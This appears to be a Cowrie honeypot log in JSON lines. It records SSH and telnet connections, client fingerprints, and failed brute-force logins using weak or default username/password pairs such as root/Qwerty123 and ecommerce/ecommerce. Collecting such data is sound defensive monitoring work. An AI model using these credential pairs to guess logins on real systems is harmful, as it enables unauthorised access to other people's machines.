{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:57.772370Z","src_ip":"91.92.42.133","session":"af6e326ab3b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:58.369930Z","src_ip":"91.92.40.171","session":"d1341eaddf1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":50272,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d53417213ce","protocol":"telnet","message":"New connection: 132.148.22.172:50272 (10.17.0.5:23) [session: 4d53417213ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:59.477326Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38064,"dst_ip":"159.203.135.109","dst_port":22,"session":"17ac64868234","protocol":"ssh","message":"New connection: 91.92.42.133:38064 (159.203.135.109:22) [session: 17ac64868234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:59.609303Z"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:59.816652Z","src_ip":"91.92.42.133","session":"af6e326ab3b4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:00.455596Z","src_ip":"91.92.42.133","session":"17ac64868234","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:00.459771Z","src_ip":"91.92.42.133","session":"17ac64868234","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123","message":"login attempt [root/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:01.380740Z","src_ip":"91.92.40.171","session":"d1341eaddf1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":58936,"dst_ip":"159.203.135.109","dst_port":22,"session":"1caefc3ec769","protocol":"ssh","message":"New connection: 91.92.40.171:58936 (159.203.135.109:22) [session: 1caefc3ec769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:02.168695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:02.259074Z","src_ip":"91.92.40.171","session":"1caefc3ec769","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:03.017159Z","src_ip":"91.92.40.171","session":"1caefc3ec769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:03.289584Z","src_ip":"91.92.40.171","session":"d1341eaddf1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"passwd","message":"login attempt [gitlab-runner/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:04.758633Z","src_ip":"91.92.42.133","session":"17ac64868234","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":35412,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c0cac385a02","protocol":"ssh","message":"New connection: 91.92.42.133:35412 (159.203.135.109:22) [session: 7c0cac385a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:05.743277Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:05.918622Z","src_ip":"91.92.40.171","session":"1caefc3ec769","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":55100,"dst_ip":"159.203.135.109","dst_port":22,"session":"88fc51d6df46","protocol":"ssh","message":"New connection: 91.92.40.171:55100 (159.203.135.109:22) [session: 88fc51d6df46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:06.442901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:06.448918Z","src_ip":"91.92.40.171","session":"88fc51d6df46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:06.543915Z","src_ip":"91.92.40.171","session":"88fc51d6df46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecommerce","password":"ecommerce","message":"login attempt [ecommerce/ecommerce] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:06.829779Z","src_ip":"91.92.40.171","session":"88fc51d6df46","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:06.942564Z","src_ip":"91.92.42.133","session":"7c0cac385a02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:06.946012Z","src_ip":"91.92.42.133","session":"7c0cac385a02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:07.016397Z","src_ip":"91.92.42.133","session":"17ac64868234","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:07.640921Z","src_ip":"91.92.40.171","session":"1caefc3ec769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:07.932654Z","src_ip":"91.92.40.171","session":"88fc51d6df46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:11.557114Z","src_ip":"91.92.42.133","session":"7c0cac385a02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":35314,"dst_ip":"10.17.0.5","dst_port":22,"session":"c00580735f82","protocol":"ssh","message":"New connection: 37.233.85.71:35314 (10.17.0.5:22) [session: c00580735f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:12.182400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:12.186437Z","src_ip":"37.233.85.71","session":"c00580735f82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:12.297872Z","src_ip":"37.233.85.71","session":"c00580735f82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14061982","message":"login attempt [root/14061982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:12.626036Z","src_ip":"37.233.85.71","session":"c00580735f82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":55124,"dst_ip":"159.203.135.109","dst_port":22,"session":"f97e9171a942","protocol":"ssh","message":"New connection: 91.92.40.171:55124 (159.203.135.109:22) [session: f97e9171a942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:13.083796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:13.120469Z","src_ip":"91.92.40.171","session":"f97e9171a942","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":35484,"dst_ip":"159.203.135.109","dst_port":22,"session":"2466f6b66c0b","protocol":"ssh","message":"New connection: 91.92.42.133:35484 (159.203.135.109:22) [session: 2466f6b66c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:13.573094Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:13.735528Z","src_ip":"37.233.85.71","session":"c00580735f82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:13.814596Z","src_ip":"91.92.42.133","session":"7c0cac385a02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:14.013039Z","src_ip":"91.92.40.171","session":"f97e9171a942","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:14.687125Z","src_ip":"91.92.42.133","session":"2466f6b66c0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:14.692056Z","src_ip":"91.92.42.133","session":"2466f6b66c0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":57096,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff16b498c2ed","protocol":"ssh","message":"New connection: 91.92.40.171:57096 (159.203.135.109:22) [session: ff16b498c2ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:19.231488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:19.253035Z","src_ip":"91.92.40.171","session":"ff16b498c2ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:19.725474Z","src_ip":"91.92.40.171","session":"ff16b498c2ed","protocol":"ssh"}
